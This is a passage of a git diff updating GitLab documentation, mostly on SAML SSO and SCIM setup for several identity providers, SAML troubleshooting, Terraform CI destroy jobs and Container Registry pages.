provider](https://support.google.com/a/answer/6087519?hl=en). + The following GitLab settings correspond to the Google Workspace fields. -- **Primary email** set to `email`. -- **First name** set to `first_name`. -- **Last name** set to `last_name`. + | GitLab setting | Google Workspace field | + |:-------------------------------------|:-----------------------| + | Identifier | **Entity ID** | + | Assertion consumer service URL | **ACS URL** | + | GitLab single sign-on URL | **Start URL** | + | Identity provider single sign-on URL | **SSO URL** | -For NameID, the following settings are recommended: +1. Google Workspace displays a SHA256 fingerprint. To retrieve the SHA1 fingerprint + required by GitLab to [configure SAML](#configure-gitlab): + 1. Download the certificate. + 1. Run this command: -- **Name ID format** is set to `EMAIL`. -- **NameID** set to `Basic Information > Primary email`. + ```shell + openssl x509 -noout -fingerprint -sha1 -inform pem -in "GoogleIDPCertificate-domain.com.pem" + ``` -When selecting **Verify SAML Configuration** on the GitLab SAML SSO page, disregard the warning recommending setting the NameID format to "persistent". +1. Set these values: + - For **Primary email**: `email` + - For **First name**: `first_name` + - For **Last name**: `last_name` + - For **Name ID format**: `EMAIL` + - For **NameID**: `Basic Information > Primary email` -See our [example configuration page](example_saml_config.md#google-workspace). +On the GitLab SAML SSO page, when you select **Verify SAML Configuration**, disregard +the warning that recommends setting the **NameID** format to `persistent`. -### Okta setup notes +For details, see the [example configuration page](example_saml_config.md#google-workspace). -Follow the Okta documentation on [setting up a SAML application in Okta](https://developer.okta.com/docs/guides/build-sso-integration/saml2/main/) with the notes below for consideration. +### Set up Okta <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For a demo of the Okta SAML setup including SCIM, see [Demo: Okta Group SAML & SCIM setup](https://youtu.be/0ES9HsZq0AQ). -| GitLab Setting | Okta Field | -| ------------------------------------ | ---------------------------------------------------------- | -| Identifier | Audience URI | -| Assertion consumer service URL | Single sign-on URL | -| GitLab single sign-on URL | Login page URL (under **Application Login Page** settings) | -| Identity provider single sign-on URL | Identity Provider Single Sign-On URL | +1. [Set up a SAML application in Okta](https://developer.okta.com/docs/guides/build-sso-integration/saml2/main/). + The following GitLab settings correspond to the Okta fields. -Under the Okta **Single sign-on URL** field, check the option **Use this for Recipient URL and Destination URL**. + | GitLab setting | Okta field | + | ------------------------------------ | ---------------------------------------------------------- | + | Identifier | **Audience URI** | + | Assertion consumer service URL | **Single sign-on URL** | + | GitLab single sign-on URL | **Login page URL** (under **Application Login Page** settings) | + | Identity provider single sign-on URL | **Identity Provider Single Sign-On URL** | -For NameID, the following settings are recommended; for SCIM, the following settings are required: +1. Under the Okta **Single sign-on URL** field, select the **Use this for Recipient URL and Destination URL** checkbox. -- **Application username** (NameID) set to **Custom** `user.getInternalProperty("id")`. -- **Name ID Format** set to **Persistent**. +1. Set these values: + - For **Application username (NameID)**: **Custom** `user.getInternalProperty("id")` + - For **Name ID Format**: `Persistent` The Okta GitLab application available in the App Catalog only supports [SCIM](scim_setup.md). Support -for SAML is proposed in issue [216173](https://gitlab.com/gitlab-org/gitlab/-/issues/216173). +for SAML is proposed in [issue 216173](https://gitlab.com/gitlab-org/gitlab/-/issues/216173). -### OneLogin setup notes +### Set up OneLogin -OneLogin supports their own [GitLab (SaaS)](https://onelogin.service-now.com/support?id=kb_article&sys_id=92e4160adbf16cd0ca1c400e0b961923&kb_category=50984e84db738300d5505eea4b961913) -application. +OneLogin supports its own [GitLab (SaaS) application](https://onelogin.service-now.com/support?id=kb_article&sys_id=92e4160adbf16cd0ca1c400e0b961923&kb_category=50984e84db738300d5505eea4b961913). -If you decide to use the OneLogin generic [SAML Test Connector (Advanced)](https://onelogin.service-now.com/support?id=kb_article&sys_id=b2c19353dbde7b8024c780c74b9619fb&kb_category=93e869b0db185340d5505eea4b961934), -we recommend the ["Use the OneLogin SAML Test Connector" documentation](https://onelogin.service-now.com/support?id=kb_article&sys_id=93f95543db109700d5505eea4b96198f) with the following settings: +1. If you use the OneLogin generic + [SAML Test Connector (Advanced)](https://onelogin.service-now.com/support?id=kb_article&sys_id=b2c19353dbde7b8024c780c74b9619fb&kb_category=93e869b0db185340d5505eea4b961934), + you should [use the OneLogin SAML Test Connector](https://onelogin.service-now.com/support?id=kb_article&sys_id=93f95543db109700d5505eea4b96198f). The following GitLab settings correspond + to the OneLogin fields: -| GitLab Setting | OneLogin Field | -| ------------------------------------------------ | ---------------------------- | -| Identifier | Audience | -| Assertion consumer service URL | Recipient | -| Assertion consumer service URL | ACS (Consumer) URL | -| Assertion consumer service URL (escaped version) | ACS (Consumer) URL Validator | -| GitLab single sign-on URL | Login URL | -| Identity provider single sign-on URL | SAML 2.0 Endpoint | + | GitLab setting | OneLogin field | + | ------------------------------------------------ | -------------------------------- | + | Identifier | **Audience** | + | Assertion consumer service URL | **Recipient** | + | Assertion consumer service URL | **ACS (Consumer) URL** | + | Assertion consumer service URL (escaped version) | **ACS (Consumer) URL Validator** | + | GitLab single sign-on URL | **Login URL** | + | Identity provider single sign-on URL | **SAML 2.0 Endpoint** | -Recommended `NameID` value: `OneLogin ID`. +1. For **NameID**, use `OneLogin ID`. ### Change the SAML app @@ -333,7 +349,7 @@ To migrate users to a new email domain, users must: ## User access and management > - SAML user provisioning [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/268142) in GitLab 13.7. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325712) in GitLab 14.0, GitLab users created by [SAML SSO](index.md#user-access-and-management) or SCIM provisioning are displayed with an **Enterprise** badge in the **Members** view. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325712) in GitLab 14.0, GitLab users created by [SAML SSO](index.md#user-access-and-management) or SCIM provisioning are displayed with an ][**Enterprise**](../../enterprise_user/index.md) badge in the **Members** view. After group SSO is configured and enabled, users can access the GitLab.com group through the identity provider's dashboard. If [SCIM](scim_setup.md) is configured, see [user access](scim_setup.md#user-access) on the SCIM page. @@ -431,8 +447,9 @@ convert the information to XML. An example SAML response is shown here. By default, users provisioned with SAML or SCIM are sent a verification email to verify their identity. Instead, you can [configure GitLab with a custom domain](../../project/pages/custom_domains_ssl_tls_certification/index.md) and GitLab -automatically confirms user accounts. Users still receive an enterprise user welcome email. Confirmation is bypassed for -users: +automatically confirms user accounts. Users still receive an +[enterprise user](../../enterprise_user/index.md) welcome email. Confirmation is +bypassed for users: - That are provisioned with SAML or SCIM. - That have an email address that belongs to the verified domain. @@ -477,7 +494,7 @@ group owner, and then you can unlink the account. For example, to unlink the `MyOrg` account: -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Account**. 1. In the **Service sign-in** section, select **Disconnect** next to the connected account. diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md index 8c30c246566..c6ff5dc63c3 100644 --- a/doc/user/group/saml_sso/scim_setup.md +++ b/doc/user/group/saml_sso/scim_setup.md @@ -116,7 +116,7 @@ For each attribute: 1. Select the required settings. 1. Select **Ok**. -If your SAML configuration differs from [the recommended SAML settings](index.md#azure-setup-notes), select the mapping +If your SAML configuration differs from [the recommended SAML settings](index.md#set-up-azure), select the mapping attributes and modify them accordingly. In particular, the `objectId` source attribute must map to the `externalId` target attribute. @@ -133,13 +133,13 @@ Prerequisites: product tier is required to use SCIM on Okta. - [GitLab is configured](#configure-gitlab). - SAML application for [Okta](https://developer.okta.com/docs/guides/build-sso-integration/saml2/main/) set up as - described in the [Okta setup notes](index.md#okta-setup-notes). + described in the [Okta setup notes](index.md#set-up-okta). - Your Okta SAML setup matches the [configuration steps exactly](index.md), especially the NameID configuration. To configure Okta for SCIM: 1. Sign in to Okta. -1. Ensure you are in the Admin Area by selecting the **Admin** button located in the top right. The button is not visible from the Admin Area. +1. Ensure you are in the Admin Area by selecting the **Admin** button located in the upper right. The button is not visible from the Admin Area. 1. In the **Application** tab, select **Browse App Catalog**. 1. Search for **GitLab**, find and select the **GitLab** application. 1. On the GitLab application overview page, select **Add**. @@ -170,7 +170,7 @@ encounter issues. ## User access -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325712) in GitLab 14.0, GitLab users created by [SAML SSO](index.md#user-access-and-management) or SCIM provisioning are displayed with an **Enterprise** badge in the **Members** view. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325712) in GitLab 14.0, GitLab users created by [SAML SSO](index.md#user-access-and-management) or SCIM provisioning are displayed with an [**Enterprise**](../../enterprise_user/index.md) badge in the **Members** view. During the synchronization process, all new users: diff --git a/doc/user/group/saml_sso/troubleshooting.md b/doc/user/group/saml_sso/troubleshooting.md index a42d3f8fd03..eadf385feb3 100644 --- a/doc/user/group/saml_sso/troubleshooting.md +++ b/doc/user/group/saml_sso/troubleshooting.md @@ -58,6 +58,16 @@ You can use one of the following to troubleshoot SAML: For convenience, we've included some [example resources](../../../user/group/saml_sso/example_saml_config.md) used by our Support Team. While they may help you verify the SAML app configuration, they are not guaranteed to reflect the current state of third-party products. +### Calculate the fingerprint + +If you use a `idp_cert_fingerprint`, it must be a SHA1 fingerprint. To calculate a SHA1 fingerprint, download the certificate file and run: + +```shell +openssl x509 -in <filename.crt> -noout -fingerprint -sha1 +``` + +Replace `filename.crt` with the name of the certificate file. + ## Searching Rails log for a SAML response **(FREE SELF)** You can find the base64-encoded SAML Response in the [`production_json.log`](../../../administration/logs/index.md#production_jsonlog). @@ -122,13 +132,17 @@ must be validated using either a fingerprint, a certificate, or a validator. For this requirement, be sure to take the following into account: -- If a fingerprint is used, it must be the SHA1 fingerprint +- If you use a fingerprint, it must be the correct SHA1 fingerprint. To confirm that you are using + the correct SHA1 fingerprint: + 1. Re-download the certificate file. + 1. [Calculate the fingerprint](#calculate-the-fingerprint). + 1. Compare the fingerprint to the value provided in `idp_cert_fingerprint`. The values should be the same. - If no certificate is provided in the settings, a fingerprint or fingerprint validator needs to be provided and the response from the server must contain - a certificate (`<ds:KeyInfo><ds:X509Data><ds:X509Certificate>`) + a certificate (`<ds:KeyInfo><ds:X509Data><ds:X509Certificate>`). - If a certificate is provided in the settings, it is no longer necessary for the request to contain one. In this case the fingerprint or fingerprint - validators are optional + validators are optional. If none of the above described scenarios is valid, the request fails with one of the mentioned errors. @@ -193,7 +207,7 @@ Alternatively, the SAML response may be missing the `InResponseTo` attribute in The identity provider administrator should ensure that the login is initiated by the service provider and not only the identity provider. -### Message: "Sign in to GitLab to connect your organization's account" **(PREMIUM SAAS)** +### Message: "There is already a GitLab account associated with this email address. Sign in with your existing credentials to connect your organization's account" **(PREMIUM SAAS)** A user can see this message when they are trying to [manually link SAML to their existing GitLab.com account](index.md#linking-saml-to-your-existing-gitlabcom-account). @@ -233,10 +247,17 @@ If you receive a `404` during setup when using "verify configuration", make sure If a user is trying to sign in for the first time and the GitLab single sign-on URL has not [been configured](index.md#configure-your-identity-provider), they may see a 404. As outlined in the [user access section](index.md#linking-saml-to-your-existing-gitlabcom-account), a group Owner needs to provide the URL to users. -If all users are receiving a `404` after signing in to the identity provider (IdP), verify the `assertion_consumer_service_url`: +If all users are receiving a `404` after signing in to the identity provider (IdP): + +- Verify the `assertion_consumer_service_url`: + + - In the GitLab configuration by [matching it to the HTTPS endpoint of GitLab](../../../integration/saml.md#configure-saml-support-in-gitlab). + - As the `Assertion Consumer Service URL` or equivalent when setting up the SAML app on your IdP. + +- Verify if the `404` is related to [the user having too many groups assigned to them in their Azure IdP](group_sync.md#user-that-belongs-to-many-saml-groups-automatically-removed-from-gitlab-group) by checking: -- In the GitLab configuration by [matching it to the HTTPS endpoint of GitLab](../../../integration/saml.md#configure-saml-support-in-gitlab). -- As the `Assertion Consumer Service URL` or equivalent when setting up the SAML app on your IdP. + - If the user has group links configured. + - Audit events if the user gets added to the group and then immediately removed. For configuration examples for some of the common providers, see the [example group SAML and SCIM configurations](example_saml_config.md). diff --git a/doc/user/group/settings/group_access_tokens.md b/doc/user/group/settings/group_access_tokens.md index 6e0caa633eb..cd50c209b0d 100644 --- a/doc/user/group/settings/group_access_tokens.md +++ b/doc/user/group/settings/group_access_tokens.md @@ -14,7 +14,7 @@ With group access tokens, you can use a single token to: You can use a group access token to authenticate: -- With the [GitLab API](../../../api/index.md#personalprojectgroup-access-tokens). +- With the [GitLab API](../../../api/rest/index.md#personalprojectgroup-access-tokens). - In [GitLab 14.2](https://gitlab.com/gitlab-org/gitlab/-/issues/330718) and later, authenticate with Git over HTTPS. Use: @@ -163,7 +163,9 @@ Even when creation is disabled, you can still use and revoke existing group acce ## Bot users for groups -Each time you create a group access token, a bot user is created and added to the group. These bot users are similar to +Bot users for groups are [GitLab-created service accounts](../../../subscriptions/self_managed/index.md#billable-users). +Each time you create a group access token, a bot user is created and added to the group. +These bot users are similar to [bot users for projects](../../project/settings/project_access_tokens.md#bot-users-for-projects), except they are added to groups instead of projects. Bot users for groups: @@ -174,5 +176,3 @@ to groups instead of projects. Bot users for groups: - Have an email set to `group{group_id}_bot@noreply.{Gitlab.config.gitlab.host}`. For example, `group123_bot@noreply.example.com`. All other properties are similar to [bot users for projects](../../project/settings/project_access_tokens.md#bot-users-for-projects). - -For more information, see [Bot users for projects](../../project/settings/project_access_tokens.md#bot-users-for-projects). diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md index f8d3456648d..6c7baa848e7 100644 --- a/doc/user/group/subgroups/index.md +++ b/doc/user/group/subgroups/index.md @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w You can organize GitLab [groups](../index.md) into subgroups. You can use subgroups to: - Separate internal and external organizations. Because every subgroup can have its own - [visibility level](../../../development/permissions.md#general-permissions), you can host groups for different + [visibility level](../../public_access.md), you can host groups for different purposes under the same parent group. - Organize large projects. You can use subgroups to give different access to parts of the source code. @@ -85,7 +85,7 @@ You cannot host a GitLab Pages subgroup website with a top-level domain name. Fo To create a subgroup: 1. On the top bar, select **Main menu > Groups** and find and select the parent group to add a subgroup to. -1. On the parent group's overview page, in the top right, select **New subgroup**. +1. On the parent group's overview page, in the upper right, select **New subgroup**. 1. Select **Create group**. 1. Fill in the fields. View a list of [reserved names](../../reserved_names.md) that cannot be used as group names. 1. Select **Create group**. diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md index 8635b4567ef..c5a95779087 100644 --- a/doc/user/group/value_stream_analytics/index.md +++ b/doc/user/group/value_stream_analytics/index.md @@ -305,7 +305,7 @@ After you create a value stream, you can customize it to suit your purposes. To 1. On the top bar, select **Main menu > Groups** and find your group. 1. On the left sidebar, select **Analytics > Value Stream**. -1. In the top right, select the dropdown list, and select a value stream. +1. In the upper right, select the dropdown list, and select a value stream. 1. Next to the value stream dropdown list, select **Edit**. 1. Optional: - Rename the value stream. @@ -324,7 +324,7 @@ To delete a custom value stream: 1. On the top bar, select **Main menu > Groups** and find your group. 1. On the left sidebar, select **Analytics > Value Stream**. -1. In the top right, select the dropdown list and then select the value stream you would like to delete. +1. In the upper right, select the dropdown list and then select the value stream you would like to delete. 1. Select **Delete (name of value stream)**. 1. To confirm, select **Delete**. @@ -367,3 +367,7 @@ To view tasks by type: and select **Issues** or **Merge Requests**. 1. To add or remove labels, select the **Settings** (**{settings}**) dropdown list and select or search for a label. By default the top group-level labels (maximum 10) are selected. You can select a maximum of 15 labels. + +## Troubleshooting + +See [Value stream analytics for projects](../../analytics/value_stream_analytics.md#troubleshooting). diff --git a/doc/user/index.md b/doc/user/index.md index 81561d23c7b..8d761c88484 100644 --- a/doc/user/index.md +++ b/doc/user/index.md @@ -10,10 +10,10 @@ Get to know the GitLab end-to-end workflow. Configure permissions, organize your work, create and secure your application, and analyze its performance. Report on team productivity throughout the process. - [Set up your organization](../topics/set_up_organization.md) -- [Organize work with projects](../user/project/index.md) +- [Organize work with projects](../user/project/organize_work_with_projects.md) - [Plan and track work](../topics/plan_and_track.md) - [Build your application](../topics/build_your_application.md) -- [Secure your application](../user/application_security/index.md) +- [Secure your application](../user/application_security/secure_your_application.md) - [Deploy and release your application](../topics/release_your_application.md) - [Monitor application performance](../operations/index.md) - [Monitor runner performance](https://docs.gitlab.com/runner/monitoring/index.html) diff --git a/doc/user/infrastructure/iac/terraform_state.md b/doc/user/infrastructure/iac/terraform_state.md index eb6a8db0c05..93a82023480 100644 --- a/doc/user/infrastructure/iac/terraform_state.md +++ b/doc/user/infrastructure/iac/terraform_state.md @@ -58,7 +58,10 @@ WARNING: Like any other job artifact, Terraform plan data is viewable by anyone with the Guest role on the repository. Neither Terraform nor GitLab encrypts the plan file by default. If your Terraform plan includes sensitive data, like passwords, access tokens, or certificates, you should -encrypt plan output or modify the project visibility settings. +encrypt plan output or modify the project visibility settings. We also strongly recommend that you **disable** +[public pipelines](../../../ci/pipelines/settings.md#change-pipeline-visibility-for-non-project-members-in-public-projects) +by setting the artifact's public flag to false (`public: false`). This setting ensures artifacts are +accessible only to GitLab Administrators and project members with the Reporter role and above. To configure GitLab CI/CD as a backend: diff --git a/doc/user/infrastructure/iac/terraform_template_recipes.md b/doc/user/infrastructure/iac/terraform_template_recipes.md index 0d1b56ae979..89a97f305e4 100644 --- a/doc/user/infrastructure/iac/terraform_template_recipes.md +++ b/doc/user/infrastructure/iac/terraform_template_recipes.md @@ -29,6 +29,69 @@ The `destroy` job is part of the `cleanup` stage. Like the `deploy` job, the `destroy` job is always `manual` and is not tied to the default branch. +To connect the `destroy` job to the GitLab environment: + +```yaml +include: + - template: Terraform.latest.gitlab-ci.yml + +deploy: + envrionment: + name: $TF_STATE_NAME + action: start + on_stop: destroy + +destroy: + extends: .terraform:destroy + environment: + name: $TF_STATE_NAME + action: stop +``` + +In this configuration, the `destroy` job is always created. However, you might want to create a `destroy` job only if certain +conditions are met. + +The following configuration creates a `destroy` job, runs a destroy plan and omits the `deploy` job only if `TF_DESTROY` is true: + +```yaml +include: + - template: Terraform.latest.gitlab-ci.yml + +build: + rules: + - if: $TF_DESTROY == "true" + variables: + TF_CLI_ARGS_plan: "-destroy" + - when: on_success + +deploy: + envrionment: + name: $TF_STATE_NAME + action: start + on_stop: destroy + rules: + - if: $TF_DESTROY == "true" + when: never + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $TF_AUTO_DEPLOY == "true" + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + when: manual + +destroy: + extends: .terraform:destroy + dependencies: + - build + variables: + TF_CLI_ARGS_destroy: "${TF_PLAN_CACHE}" + environment: + name: $TF_STATE_NAME + action: stop + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $TF_DESTROY == "true" + when: manual +``` + +This configuration has a known issue: when the `destroy` job is not in the same pipeline as the `deploy` job, the `on_stop` environment action does not work. + ## Run a custom `terraform` command in a job To define a job that runs a custom `terraform` command, the @@ -182,6 +245,19 @@ deploy: For an example repository, see the [GitLab Terraform template usage project](https://gitlab.com/gitlab-org/configure/examples/terraform-template-usage). +## Automatically deploy from the default branch + +You can automatically deploy from the default branch by setting the `TF_AUTO_DEPLOY` variable +to `"true"`. All other values are interpreted as `"false"`. + +```yaml +variables: + TF_AUTO_DEPLOY: "true" + +include: + - template: Terraform.latest.gitlab-ci.yml +``` + ## Deploy Terraform to multiple environments You can run pipelines in multiple environments, each with a unique Terraform state. diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md index 811e4ad6ad6..87633932e0d 100644 --- a/doc/user/infrastructure/index.md +++ b/doc/user/infrastructure/index.md @@ -25,7 +25,7 @@ The various GitLab integrations help you: with code changes. - Scale using a module registry. -Learn more about how GitLab can help you run [Infrastructure as Code](iac/index.md). +For more information, see how GitLab can help you run [Infrastructure as Code](iac/index.md). ## Integrated Kubernetes management @@ -34,7 +34,7 @@ cluster applications. With the GitLab agent, you can connect clusters behind a f have real-time access to API endpoints, perform pull-based or push-based deployments for production and non-production environments, and much more. -Learn more about the [GitLab agent](../clusters/agent/index.md). +For more information, see the [GitLab agent](../clusters/agent/index.md). ## Runbooks in GitLab diff --git a/doc/user/markdown.md b/doc/user/markdown.md index d29369f142c..eaceeccc148 100644 --- a/doc/user/markdown.md +++ b/doc/user/markdown.md @@ -84,9 +84,9 @@ The following features are not found in standard Markdown. ### Colors -[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#colors). +Markdown does not support changing text color. -You can write a color in the formats: `HEX`, `RGB`, or `HSL`. +You can write a color code in the formats: `HEX`, `RGB`, or `HSL`. - `HEX`: `` `#RGB[A]` `` or `` `#RRGGBB[AA]` `` - `RGB`: `` `RGB[A](R, G, B[, A])` `` @@ -94,7 +94,8 @@ You can write a color in the formats: `HEX`, `RGB`, or `HSL`. Named colors are not supported. -Colors in backticks are followed by a color indicator: +In the GitLab application (but not the GitLab documentation) color codes in backticks +display a color chip next to the color code. For example: ```markdown - `#F00` @@ -108,6 +109,9 @@ Colors in backticks are followed by a color indicator: - `HSLA(540,70%,50%,0.3)` ``` +[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#colors) +to see the color chips next to the color code: + - `#F00` - `#F00A` - `#FF0000` @@ -353,7 +357,7 @@ _KaTeX only supports a [subset](https://katex.org/docs/supported.html) of LaTeX. This syntax also works for the Asciidoctor `:stem: latexmath`. For details, see the [Asciidoctor user manual](https://asciidoctor.org/docs/user-manual/#activating-stem-support). -Math written between dollar signs with backticks (``$`...`$``) or single dollar signs (`$...$`) +Math written between dollar signs with backticks (``$`...`$``) or single dollar signs (`$...$`) is rendered inline with the text. Math written between double dollar signs (`$$...$$`) or in a [code block](#code-spans-and-blocks) with @@ -1007,11 +1011,12 @@ Do not change to a reference style link.  -#### Change the image dimensions +#### Change the image or video dimensions -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28118) in GitLab 15.7. +> - Support for images [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28118) in GitLab 15.7. +> - Support for videos [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17139) in GitLab 15.9. -You can control the width and height of an image by following the image with +You can control the width and height of an image or video by following the image with an attribute list. The value must an integer with a unit of either `px` (default) or `%`. diff --git a/doc/user/okrs.md b/doc/user/okrs.md index 0b6bffa97ce..0d3be8474fe 100644 --- a/doc/user/okrs.md +++ b/doc/user/okrs.md @@ -13,8 +13,8 @@ OKRs are in [**Alpha**](../policy/alpha-beta-support.md#alpha-features). For the OKR feature roadmap, see [epic 7864](https://gitlab.com/groups/gitlab-org/-/epics/7864). FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, -ask an administrator to [enable the featured flag](../administration/feature_flags.md) named `okrs_mvc`. +On self-managed GitLab, by default this feature is not available. To make it available per project, ask an administrator to [enable the featured flag](../administration/feature_flags.md) named `okrs_mvc`. +On GitLab.com, this feature is not available. The feature is not ready for production use. Use objectives and key results to align your workforce towards common goals and track the progress. @@ -41,7 +41,7 @@ To create an objective: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Issues**. -1. In the top right corner, next to **New issue**, select the down arrow **{chevron-lg-down}** and then select **New objective**. +1. In the upper-right corner, next to **New issue**, select the down arrow **{chevron-lg-down}** and then select **New objective**. 1. Select **New objective** again. 1. Enter the objective title. 1. Select **Create objective**. diff --git a/doc/user/operations_dashboard/index.md b/doc/user/operations_dashboard/index.md index 619d822adf2..2911a700e14 100644 --- a/doc/user/operations_dashboard/index.md +++ b/doc/user/operations_dashboard/index.md @@ -36,4 +36,4 @@ You can drag project cards to change their order. The card order is currently on ## Making it the default dashboard when you sign in The Operations Dashboard can also be made the default GitLab dashboard shown when -you sign in. To make it the default, visit your [profile preferences](../profile/preferences.md). +you sign in. To make it the default, see [Profile preferences](../profile/preferences.md). diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md index 49c54ec191e..b990cf1f09b 100644 --- a/doc/user/packages/composer_repository/index.md +++ b/doc/user/packages/composer_repository/index.md @@ -308,7 +308,7 @@ used to access them: ### Caching -To improve performance, Composer caches files related to a package. Note that Composer doesn't remove data by +To improve performance, Composer caches files related to a package. Composer doesn't remove data by itself. The cache grows as new packages are installed. If you encounter issues, clear the cache with this command: diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md index dd6605c2f01..05daa525893 100644 --- a/doc/user/packages/conan_repository/index.md +++ b/doc/user/packages/conan_repository/index.md @@ -121,7 +121,9 @@ To authenticate to the Package Registry, you need one of the following: NOTE: Packages from private and internal projects are hidden if you are not -authenticated. If you try to search or download a package from a private or internal project without authenticating, you will receive the error `unable to find the package in remote` in the Conan client. +authenticated. If you try to search or download a package from a private or internal +project without authenticating, you receive the error `unable to find the package in remote` +in the Conan client. ### Add your credentials to the GitLab remote @@ -271,7 +273,7 @@ Prerequisites: NOTE: If you try installing the package you created in this tutorial, the install command -will have no effect because the package already exists. +has no effect because the package already exists. Delete `~/.conan/data` to clean up the packages stored in the cache. ## Remove a Conan package diff --git a/doc/user/packages/container_registry/authenticate_with_container_registry.md b/doc/user/packages/container_registry/authenticate_with_container_registry.md index cdc7cbe947b..f48ba7bbf52 100644 --- a/doc/user/packages/container_registry/authenticate_with_container_registry.md +++ b/doc/user/packages/container_registry/authenticate_with_container_registry.md @@ -6,6 +6,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Authenticate with the Container Registry **(FREE)** +<!--- start_remove The following content will be removed on remove_date: '2023-11-22' --> +WARNING: +[External authorization](../../admin_area/settings/external_authorization.md) will be enabled by default in GitLab 16.0. External authorization prevents personal access tokens and deploy tokens from accessing container and package registries and affects all users who use these tokens to access the registries. You can disable external authorization if you want to use personal access tokens and deploy tokens with the container or package registries. +<!--- end_remove --> + To authenticate with the Container Registry, you can use a: - [Personal access token](../../profile/personal_access_tokens.md). diff --git a/doc/user/packages/container_registry/build_and_push_images.md b/doc/user/packages/container_registry/build_and_push_images.md index bbb82300488..aa86b87660b 100644 --- a/doc/user/packages/container_registry/build_and_push_images.md +++ b/doc/user/packages/container_registry/build_and_push_images.md @@ -144,7 +144,7 @@ In this example, `$CI_REGISTRY_IMAGE` resolves to the address of the registry ti to this project. `$CI_COMMIT_REF_NAME` resolves to the branch or tag name, which can contain forward slashes. Image tags can't contain forward slashes. Use `$CI_COMMIT_REF_SLUG` as the image tag. You can declare the variable, `$IMAGE_TAG`, -combining `$CI_REGISTRY_IMAGE` and `$CI_REGISTRY_IMAGE` to save some typing in the +combining `$CI_REGISTRY_IMAGE` and `$CI_COMMIT_REF_NAME` to save some typing in the `script` section. This example splits the tasks into 4 pipeline stages, including two tests that run in parallel. The `build` is stored in the container diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md index c3790c252cc..4d7b25e2d77 100644 --- a/doc/user/packages/container_registry/index.md +++ b/doc/user/packages/container_registry/index.md @@ -72,7 +72,7 @@ NOTE: You must [authenticate with the container registry](authenticate_with_container_registry.md) to download container images from a private repository. -For more information on running container images, visit the [Docker documentation](https://docs.docker.com/get-started/). +For more information on running container images, see the [Docker documentation](https://docs.docker.com/get-started/). ## Naming convention for your container images @@ -165,3 +165,9 @@ this setting. However, disabling the Container Registry disables all Container R | Private project with Container Registry visibility <br/> set to **Everyone With Access** (UI) or `enabled` (API) | View Container Registry <br/> and pull images | No | No | Yes | | Private project with Container Registry visibility <br/> set to **Only Project Members** (UI) or `private` (API) | View Container Registry <br/> and pull images | No | No | Yes | | Any project with Container Registry `disabled` | All operations on Container Registry | No | No | No | + +## Supported image types + +The Container Registry supports [Docker V2](https://docs.docker.com/registry/spec/manifest-v2-2/) and [Open Container Initiative (OCI)](https://github.com/opencontainers/image-spec/blob/main/spec.md) image formats. + +OCI support means that you can host OCI-based image formats in the registry, such as [Helm 3+ chart packages](https://helm.sh/docs/topics/registries/). There is no distinction between image formats in the GitLab [API](../../../api/container_registry.md) and the UI. [Issue 38047](https://gitlab.com/gitlab-org/gitlab/-/issues/38047) addresses this distinction, starting with Helm. diff --git a/doc/user/packages/container_registry/reduce_container_registry_data_transfer.md b/doc/user/packages/container_registry/reduce_container_registry_data_transfer.md index 0ce9635e05a..110f3ff908c 100644 --- a/doc/user/packages/container_registry/reduce_container_registry_data_transfer.md +++ b/doc/user/packages/container_registry/reduce_container_registry_data_transfer.md @@ -22,7 +22,7 @@ usage. Use these tools and techniques to determine your image's size: - [Skopeo](https://github.com/containers/skopeo): - use Skopeo's `inspect` command to examine layer count and sizes through API calls. You can + use the Skopeo `inspect` command to examine layer count and sizes through API calls. You can therefore inspect this data prior to running `docker pull IMAGE`. - Docker in CI: examine and record the image size when using GitLab CI prior to pushing an image @@ -41,7 +41,7 @@ Use these tools and techniques to determine your image's size: ### Use a smaller base image Consider using a smaller base image, such as [Alpine Linux](https://alpinelinux.org/). -An Alpine image is around 5MB, which is several times smaller than popular base images such as +An Alpine image is around 5 MB, which is several times smaller than popular base images such as [Debian](https://hub.docker.com/_/debian). If your application is distributed as a self-contained static binary, such as for Go applications, you can also consider using the Docker [scratch](https://hub.docker.com/_/scratch/) diff --git a/doc/user/packages/container_registry/reduce_container_registry_storage.md b/doc/user/packages/container_registry/reduce_container_registry_storage.md index 15948569cb8..9229ea61821 100644 --- a/doc/user/packages/container_registry/reduce_container_registry_storage.md +++ b/doc/user/packages/container_registry/reduce_container_registry_storage.md @@ -320,7 +320,7 @@ the tags. To create the list and delete the tags: the tags' names are written to the `list_o_tags.out` file: ```shell - # Get a list of all tags in a certain container repository while considering [pagination](../../../api/index.md#pagination) + # Get a list of all tags in a certain container repository while considering [pagination](../../../api/rest/index.md#pagination) echo -n "" > list_o_tags.out; for i in {1..N}; do curl --header 'PRIVATE-TOKEN: <PAT>' 